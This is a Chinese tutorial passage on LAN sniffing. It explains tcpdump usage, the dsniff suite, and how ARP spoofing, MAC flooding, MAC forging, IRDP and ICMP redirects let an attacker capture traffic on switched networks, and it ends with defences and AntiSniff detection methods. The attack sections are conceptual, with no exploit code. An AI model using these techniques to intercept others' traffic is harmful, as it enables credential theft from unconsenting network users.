tcpdmp也算是一个很有名气的网络监听软件,FREEBSD还把他附带在了系统上,是一个被很多UNIX高手认为是一个专业的网络管理工具。

使用方法:

tcpdump采用命令行方式,它的命令格式为:

tcpdump [ -adeflnNOpqStvx ][ -c 数量 ][ -F 文件名 ][ -i 网络接口 ][ -r 文件名][ -s snaplen ][ -T 类型 ][ -w 文件名 ][表达式 ]

1. tcpdump的选项介绍

-a 将网络地址和广播地址转变成名字;

-d 将匹配信息包的代码以人们能够理解的汇编格式给出;

-dd 将匹配信息包的代码以c语言程序段的格式给出;

-ddd 将匹配信息包的代码以十进制的形式给出;

-e 在输出行打印出数据链路层的头部信息;

-f 将外部的Internet地址以数字的形式打印出来;

-l 使标准输出变为缓冲行形式;

-n 不把网络地址转换成名字;

-t 在输出的每一行不打印时间戳;

-v 输出一个稍微详细的信息,例如在ip包中可以包括ttl和服务类型的信息;

-vv 输出详细的报文信息;

-c 在收到指定的包的数目后,tcpdump就会停止;

-F 从指定的文件中读取表达式,忽略其它的表达式;

-i 指定监听的网络接口;

-r 从指定的文件中读取包(这些包一般通过-w选项产生);

-w 直接将包写入文件中,并不分析和打印出来;

-T 将监听到的包直接解释为指定的类型的报文,常见的类型有rpc和snmp

2. tcpdump的表达式介绍

表达式是一个正则表达式,tcpdump利用它作为过滤报文的条件,如果一个报文满足表达式的条件,则这个报文将会被捕获。如果没有给出任何条件,则网络上所有的信息包将会被截获。

在表达式中一般如下几种类型的关键字,一种是关于类型的关键字,主要包括host,net,port, 例如 host 210.27.48.2,指明 210.27.48.2是一台主机,net 202.0.0.0 指明 202.0.0.0是一个网络地址,port 23 指明端口号是23。如果没有指定类型,缺省的类型是host.

第二种是确定传输方向的关键字,主要包括src , dst ,dst or src, dst and src ,这些关键字指明了 传输的方向。举例说明,src 210.27.48.2 ,指明ip包中源地址是210.27.48.2 , dst net 202.0.0.0 指明目的网络地址是202.0.0.0 。如果没有指明方向关键字,则缺省是src or dst关键字。

第三种是协议的关键字,主要包括fddi,ip ,arp,rarp,tcp,udp等类型。Fddi指明是在FDDI(分布式光纤数据接口网络)上的特定的网络协议,实际上它是”ether"的别名,fddi和ether具有类似的源地址和目的地址,所以可以将fddi协议包当作ether的包进行处理和分析。其他的几个关键字就是指明了监听的包的协议内容。如果没有指定任何协议,则tcpdump将会监听所有协议的信息包。

除了这三种类型的关键字之外,其他重要的关键字如下:gateway, broadcast,less,greater,还有三种 逻辑运算,取非运算是 'not ' '! ', 与运算是'and','&&';或运算 是'or' ,'||'。

举例使用:

#tcpdump host AAA.BBB.CCC.DDD

将监听IP地址为AAA.BBB.CCC.DDD的机器的通话

#tcpdump tcp port 23 host AAA.BBB.CCC.DDD

将监听IP地址为AAA.BBB.CCC.DDD的机器的23端口的通话

4. dsniff

之所以要谈谈dsniff,是因为他不仅仅是一个sniff,在他的整个套件包中,包含了很多其它有用的工具,如arpspoof,dnsspoof,macof,tcpkill等等,SNIFF的手段更加的多样和复杂化。dsniff是由DugSong开发的你可以在他的主页上找到这个工具。 目前dsniff支持OpenBSD (i386), Redhat Linux (i386), 和Solaris (sparc). 并且在FreeBSD, Debian Linux, Slackware Linux, AIX, 和HP-UX上也能运转得很好。但是dsniff需要几个其他的第三方软件进行支持,他们分别是,Berkeley DB ,OpenSSL, libpcap, libnet, libnids。如果条件允许的话,你最好能够亲自读一读dsniff的源代码,你可以在 naughty.monkey.org/~dugsong/ 找到dsniff。

六 深入sniff

单纯的sniff的功能始终是局限的,所以在大多数的情况下,sniff往往和其他手段结合起来使用,sniff和spoof已及其他技术手段结合在一起对网络构成的危害是巨大的。单纯的sniff好比缺了一只腿,无法发挥大的作用,例如在sniff原理一节中我们讨论的例子里,我一再的强调我们使用的是一个普通的HUB进行连接是有原因的,如果我们把在图一中的HUB用一个switch代替,那情况就要复杂一些了,如图二所示:

图(二)

在图二中,我们的机器A、B、C与Switch相连接,而Switch通过路由器Router访问外部网络。我们先来了解Switch的工作原理:

在我们图一中的 HUB 只是简单地把所接收到的信号通过所有端口(除了信号来的那个口)重复发送出去不同,而图二中的Switch却可以检查每一个收到的数据包,并对数据包进行相应的处理。在Switch内保存着每一个网段上所有节点的物理地址,只允许必要的网络流量通过Switch。举例来说,当Switch接收到一个数据包之后,根据自身保存的网络地址表检查数据包内包含的发送和接收方地址。如果接收方位于发送方网段,该数据包就会被Switch丢弃,不能通过交换机传送到其它的网段;如果接收方和发送方位于两个不同的网段,该数据包就会被Switch转发到目标网段。这样,通过交换机的过滤和转发,可以有效避免网络广播风暴,减少误包和错包的出现。顺便说一句,现在Switch和HUB的价格相去无几,所以hub正逐渐被网络交换机取代。

现在回到我们的例子中来,在图二中仍然和图一一样,我们假设机器A上的管理员为了维护机器C,使用了一个FTP命令向机器C进行远程登陆,那么在这里,数据是这样走的:首先机器A上的管理员输入的登陆机器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层的包裹,最后送到了物理层,我们的网线上。接下来数据帧送到了Switch上,而Switch检查数据帧中的目的地址,并在他自身保存的网络地址表中知道了他应该把这数据帧发到机器C那里,于是,接下来机器C接收到了从A发来的信息,发现他是发给自己的信息,于是进行分析处理。

OK,现在我们机器B上的管理员的好奇心只能深深的埋藏在心里了,因为数据包根本就没有经过他,就算他把自己的网卡设置成混杂模式也是有力无处使。

在了解在一个Switch环境下原理后,我们结合一些手段去设法sniff,是的,我们可以做到这一点,有许多的手段可以让管理员B满足他的好奇心,在下面我会提出几个办法,当然只是其中的一些办法而已。

1 ARP Spoof

在基于IP通信的内部网中,我们可以使用 ARP Spoof 的手段,了解什么是ARP Spoof的前提你先要明白一下什么是ARP和RARP协议,什么是MAC地址,什么又是IP地址。ARP协议是地址转换协议,RARP被称为反向地址转换协议,他们负责把IP地址和MAC地址进行相互转换对应。

ARP Spoof 攻击的根本原理是因为计算机中维护着一个 ARP 高速缓存,并且这个ARP 高速缓存是随着计算机不断的发出ARP请求和收到ARP响应而不断的更新的,ARP 高速缓存的目的是把机器的IP地址和MAC地址相互映射。你可以使用 arp 命令来查看你自己的 ARP 高速缓存。现在设想一下,一个Switch工作在数据链路层,他根据MAC地址来转发他所接收的数据包,而计算器维护的 ARP 高速缓存却是动态的......你想到什么了吗?

为了加深理解,现在给我们的机器编上号,机器A:IP地址为 10.0.0.1 ,MAC地址为 20-53-52-43-00-01 ,机器B:IP地址为 10.0.0.2 ,MAC地址为 20-53-52-43-00-02,机器C:IP地址为 10.0.0.3 ,MAC地址为 20-53-52-43-00-03 。现在机器B上的管理员是个聪明的家伙,他向机器A发出一个 ARP Reply (协议没有规定一定要等ARP Request出现才 能发送ARP Reply,也没有规定一定要发送过ARP Request才能接收ARP Reply),其中的目的IP地址为10.0.0.1,目的MAC地址为 20-53-52-43-00-01 ,而源IP地址为10.0.0.3,源MAC地址为 20-53-52-43-00-02 ,好了,现在机器A更新了他的 ARP 高速缓存,并相信了IP地址为10.0.0.3的机器的MAC地址是 20-53-52-43-00-02 。当机器A上的管理员发出一条FTP命令时---ftp 10.0.0.3,数据包被送到了Switch,Switch查看数据包中的目的地址,发现MAC为 20-53-52-43-00-02 ,于是,他把数据包发到了机器B上。再设想一下,如果不想影响A和C之间的通信该怎么办?你可以同时欺骗他们双方,来一个 man-in-middle 。

当然,在实际的操作中你还需要考虑到一些其他的事,比如某些操作系统在会主动的发送ARP请求包来更新相应的ARP入口等。

2. MAC Flooding

在上面我们曾经提到过,Switch之所以能够由数据包中目的MAC地址判断出他应该把数据包发送到那一个端口上是根据他本身维护的一张地址表。这张地址表可能是动态的也可能是静态的,这要看Switch的厂商和Switch的型号来定,对于某些Switch来说,他维护的是一张动态的地址表,并且地址表的大小是有上限的,比如 3com Superstack Switch 3300 (3c16981 Hardware v.1 Software v.2.10) 就是这样一种Switch,我们可以通过发送大量错误的地址信息而使SWITCH维护的地址表“溢出”,从而使他变成广播模式来达到我们要 sniff 机器A与机器C之间的通信的目的。

3. Fake the MAC address

伪造MAC地址也是一个常用的办法,不过这要基于你网络内的Switch是动态更新其地址表,这实际上和我们上面说到的 ARP Spoof 有些类似,只不过现在你是想要Switch相信你,而不是要机器A相信你。因为Switch是动态更新其地址表的,你要做的事情就是告诉Switch:HI,我是机器C。换成技术上的问题你只不过需要向Switch发送伪造过的数据包,其中源MAC地址对应的是机器C的MAC地址,现在Switch就把机器C和你的端口对应起来了。不过其中存在一个问题,现在机器C也会说了:HI,Switch老大,我才是机器C呢!,现在你该怎么办?切,还用问!让他说不了话就可以了,DOS还是其他什么,随便你了......

4. ICMP Router Advertisements

这主要是由ICMP路由器发现协议(IRDP)的缺陷引起的,在Windows 95、98、2000及SunOS、Solaris 2.6等系统中,都使用了IRDP协议,SunOS系统只在某些特定的情况下使用该协议,而Windows95 ,Windows95b, Windows98, Windows98se, 和 Windows2000都是默认的使用IRDP协议。 IRDP协议的主要内容就是告诉人们谁是路由器,设想一下,一个HACK利用IRDP宣称自己是路由器的情况会有多么的糟糕!所有相信HACK的请求的机器把他们所有的数据都发送给HACK所控制的机器.........

5. ICMP Redirect

所谓ICMP重定向,就是指告诉机器向另一个不同的路由发送他的数据包,ICMP重定向通常使用在这样的场合下,假设A与B两台机器分别位于同一个物理网段内的两个逻辑子网内,而A和B都不知道这一点,只有路由器知道,当A发送给B的数据到达路由器的时候,路由器会向A送一个ICMP重定向包裹,告诉A:HI,别再送数据给我转交了,你就直接送到B那里就可以了。设想一下,一个hack完全可以利用这一点,使得A发送给B的数据经过他。

上面提到的这些方法只不是其中的一些,为了配合sniff能够工作得更有效率,还有其他许多的办法,其实sniff的目的说穿了只有一个,就是抓包,从抓包这个概念上引伸下去,所有为了能够抓到网络上的信息包而采用的技术都可以归入sniff,单纯的sniff是没有什么效率的。你还能想到什么吗?进攻路由器,在路由器上放置sniff......,在系统内核中植入sniff......等等。

七 如何防止SNIFF

防止sniff最有效的手段就是进行合理的网络分段,并在网络中使用交换机和网桥,在理想的情况下使每一台机器都拥有自己的网络段,当然这会使你的网络建设费用增加很多,所以你可以尽量使相互信任的机器属于同一个网段,使他们互相之间不必担心sniff的存在。并在网段于网段间进行硬件屏障。你也可以使用加密技术对你在网络中传送的敏感数据如户ID或口令,你的银行帐号,商业机密等进行加密,你可以选用SSH等加密手段。为了防止ARP欺骗,你可以使用永久的ARP缓存条目,反正上面的攻击手段和原理你也看了,你就反过来想想该怎么办好了。不过有盾必有矛,平时的安全意识才是最重要的。

(注:以下关于AntiSniff的介绍取至backend翻译整理的L0pht AntiSniff 技术文档一文)

当你做做层层保护后,你还是怀疑自己的网络上存在sniff该怎么办? L0pht 小组为了探测sniff专门发布了一个软件 AntiSniff,当然这个软件不是免费的:),AntiSniff 工具用于检测局域网中是否有机器处于混杂模式,AntiSniff Version 1.x被设计为运行在以太网的Windows系统中,提供了简单易用的图形用户界面,AntiSniff Version 1.x 主要工作在非交换环境下的本地网段中,如果运行在交换环境下其功能将大打折扣。AntiSniff Ver 2.0 将不但能在本地网段中,而且能够穿过路由器和交换机进行工作。

◆ 操作系统类特殊测试

Linux 内核测试

旧版本的Linux内核存在一个奇怪的特性,可被用于确定机器是否处于混杂模式。在正常情形下,网卡会过滤和丢弃那些目标地址不是本机MAC地址或以太网广播地址的数据包。如果数据包的目标地址为本机以太网地址或广播地址,将传送给内核进行处理,因为其认为该以太网数据帧包含了本机的正确IP地址或该网络广播地址。如果网卡处于混杂模式,则每个数据包都会传递给操作系统进行分析或处理。许多版本的 Linux内核只检查数据包中的IP地址以确定是否存放到IP堆栈中进行处理。为了利用这一点,AntiSniff构造一个无效以太网地址而IP地址有效的数据包。对于使用了这些内核版本和处于混杂模式的Linux系统,由于只检查到IP地址有效而将其接收并存放到相应堆栈中。通过在这个伪造的以太网数据帧中构造一个ICMP ECHO请求,这些系统会返回响应包(如果处于混杂模式)或忽略(如果不处于混杂模式),从而暴露其工作模式。当伪造的以太网数据帧中的IP地址设置为网络广播地址时这个测试非常有效。 AntiSniff的使用者可以修改伪造的以太网址,缺省值为66:66:66:66:66:66。

NetBSD

许多NetBSD内核具有与上述Linux内核相同的特性,不过伪造以太网数据帧中的 IP地址必须设为广播地址。

Windows 95/98/NT

根据对网络驱动程序头文件的了解,可以知道当处于混杂模式时,Microsoft的操作系统会确切地检查每个包的以太网地址。如果与网卡的以太网地址匹配,将作为目标IP地址为本机的数据包存放到相应堆栈中处理。可以被利用的一点是系统对以太网广播包的分析。在正常情形下,例如机器工作在非混杂模式下,网卡只向系统内核传输那些目标以太网址与其匹配或为以太网广播地址(ff:ff:ff:ff:ff:ff)的数据包。如果机器处于混杂模式下,网络驱动程序仍然会检查每个数据包的以太网地址,但检查是否为广播包时却只检查头8位地址是否为0xff。因此,为了使处于混杂模式的系统返回响应信息,AntiSniff构造以太网地址为ff:00:00:00:00:00且含有正确目标IP 地址的数据包,当Microsoft的操作系统接收到这个数据包时,将根据网络驱动程序检查到的细微差别而返回响应包(如果处于混杂模式)或丢弃这个数据包(如果处于非混杂模式)。

需要注意的是,这个检查与使用的网络驱动程序有关。Microsoft缺省的网络驱动程序具有以上特性,大多数的厂商为了保持兼容性也继承了这些特性。不过有些网卡会在其硬件层中检查以太网地址的头8位,所以可能会无论系统真正的状态是什么都总是返回正值。关于这类网卡和驱动程序请访问AntiSniff Ver 1.x的web网站。

◆ DNS 测试

进行DNS测试的原因是许多攻击者使用的网络数据收集工具都对IP地址进行反向 DNS解析,因为他们希望根据域名寻找更有价值的主机。例如joepc1.foo.bar对攻击者的吸引力往往不如payroll.foo.bar这种商业域名。此时这些工具就由被动型网络工具变为主动型网络工具了。而不监听网络通讯的机器不会试图反向解析数据包中的 IP地址。为了利用这一点,AntiSniff Ver 1.x使自身处于混杂模式下,向网络发送虚假目标IP地址的数据包,然后监听是否有机器发送该虚假目标IP地址的反向DNS查询。伪造数据包的以太网地址、检查目标、虚假目标IP地址可由用户定制。

◆ 网络和主机响应时间测试

这种测试已被证明是最有效的。它能够发现网络中处于混杂模式的机器,而不管其操作系统是什么。警告,这个测试会在很短的时间内产生巨大的网络通讯流量。进行这种测试的理由是不处于混杂模式的网卡提供了一定的硬件底层过滤机制。也就是说,目标地址非本地(广播地址除外)的数据包将被网卡的固件丢弃。在这种情况下,骤然增加、但目标地址不是本地的网络通讯流量对操作系统的影响只会很小。而处于混杂模式下的机器则缺乏此类底层的过滤,骤然增加、但目标地址不是本地的网络通讯流量会对该机器造成较明显的影响(不同的操作系统/内核/用户方式会有不同)。这些变化可以通过网络通讯流量工具监视到。

根据以上要点,AntiSniff Ver 1.x 首先利用ICMP ECHO请求及响应计算出需要检测机器的响应时间基准和平均值。在得到这个数据后,立刻向本地网络发送大量的伪造数据包。与此同时再次发送测试数据包以确定平均响应时间的变化值。非混杂模式的机器的响应时间变化量会很小,而混杂模式的机器的响应时间变化量则通常会有 1-4个数量级。为了对付攻击者和入侵者们最常用的多种工具,AntiSniff进行了三种网络饱和度测试:SIXTYSIX、TCPSYN和THREEWAY。

* SIXTYSIX测试构造的数据包数据全为0x66。这些数据包不会被非混杂模式的机器接收,同时方便使用常见的网络监听/分析工具(如tcpdump和snoop等)记录和捕获。

* TCPSYN测试构造的数据包包含有效的TCP头和IP头,同时TCP标志域的SYN位被设置。

* THREEWAY测试采取的原理基本上与TCPSYN一样,但更复杂些。在这种测试中两个实际不存在的机器间多次建立完整的TCP三方握手通讯。它能够更好地欺骗那些骇客工具。

AntiSniff Ver 1.x 中能够通过以上三种数据包测试发现正处于混杂模式机器的测试方法最好周期性地进行和与以前的数据比较。响应时间测试第一次运行的数据还能够用于分析一个大型网络在flooding和非flooding状态时的性能,并帮助工程师调整网络性能。一旦确信本地网络已运行在正常(没有未经允许而处于混杂模式的机器) 状态,就应该设置AntiSniff工具周期性运行。只要发现某台机器性能(响应时间)发生数量级的变化,一般就能确定其正处于混杂模式。这种方法不需比较两 立系统间的性能数据,而只需比较同一台机器不同时候的数据就能确定该机器是否处于混杂模式。

八 结尾

本文旨在向你描述sniff的基本原理,为的是要使你不仅仅能够了解什么是sniff而已,而是要明白sniff运转的根本原理,文章参考了大量的资料,牵涉到直接引用的已经注明出处和作者,非常的感谢他们。在此还要感谢 W.Richhard.Stevens,虽然其人已逝,但留下的TCP/IP三卷本真是造福了大家,文章的很多地方也是拜他老人家指点迷经才得以感悟。最后还要感谢雀巢咖啡,让我得以熬夜把这篇文章写完,呵呵,谢谢大家。

攻击技术概要:嗅探侦听法

增加资源嗅探功能:世界之窗 2.1 Final软件教程

高速局域网技术

教你学会局域网“隐身”

细嗅蔷薇经典散文

飞鸽传书怎么用_局域网知识

课件制作工具

工具租赁合同

心有猛虎,细嗅蔷薇美文

探春令

《局域网探嗅工具 sniffer(合集10篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档